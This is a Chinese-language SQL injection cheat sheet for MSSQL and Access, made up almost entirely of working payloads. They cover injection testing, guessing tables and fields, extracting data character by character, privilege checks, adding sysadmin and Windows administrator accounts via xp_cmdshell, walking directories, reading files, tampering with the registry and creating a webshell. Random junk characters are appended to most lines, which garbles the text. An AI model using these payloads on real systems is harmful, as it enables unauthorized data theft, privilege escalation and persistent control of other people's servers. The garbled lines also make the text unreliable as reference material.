1.判断是否有注入;and 1=1 ;and 1=2 7W firRM
2.初步判断是否是mssql ;and user>0 1qKxg
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3.注入参数是字符'and [查询条件] and ''=' %802H%+
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4.搜索时没过滤参数的'and [查询条件] and '%25'=' _&Uo|T
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5.判断数据库系统 9g5{3N3
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 ,iv%^C",)
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 q'AnI$!
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 {9|$%4kRl
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9.(1)猜字段的ascii值(access) z'}= A
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 K-Dk2(x
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(2)猜字段的ascii值(mssql) # pjyhH@
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10.测试权限结构(mssql) W/ZahPPq
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- uM#U!
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- 6(q`Oj
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- E_![`9i
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- o S:vTr+$
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;and 1=(select IS_MEMBER('db_owner'));-- &DbGyV8d"|
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11.添加mssql和系统的帐户 hDD~,/yVxs
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;exec master.dbo.sp_addlogin username;-- &t*8oNwSs
;exec master.dbo.sp_password null,username,password;-- i^s`6:rNu
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- \{MrQ2jd
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- kh>SrW]B%
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12.(1)遍历目录 az\<sWb#
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;insert dirs exec master.dbo.xp_dirtree 'c:\' /mMAwx
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(2)遍历目录 ]e@0T{!
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- k"q!|+&Fs
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 nL":0!DTRD
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 AK@`'$
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 `?zg3GD_
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13.mssql中的存储过程 T}L^CU0
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xp_regenumvalues 注册表根键, 子键 "EcX_>
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 X$7Oo^1;
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xp_regread 根键,子键,键值名 T~i%j@Q.6
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 d5@X#3Hd
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xp_regwrite 根键,子键, 值名, 值类型, 值 K3vseor
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 CS/Mpmsp
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xp_regdeletevalue 根键,子键,值名 1R0ffP]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 ?PBa'g
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 vU=9ydAj?
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14.mssql的backup创建webshell 63W{U/*aao
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15.mssql内置函数 9B
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;and (select @@version)>0 获得Windows的版本号 93j{.0]X
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa PgMbMH
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;and (select user_name())>0 爆当前系统的连接用户 &VDl/qnaL
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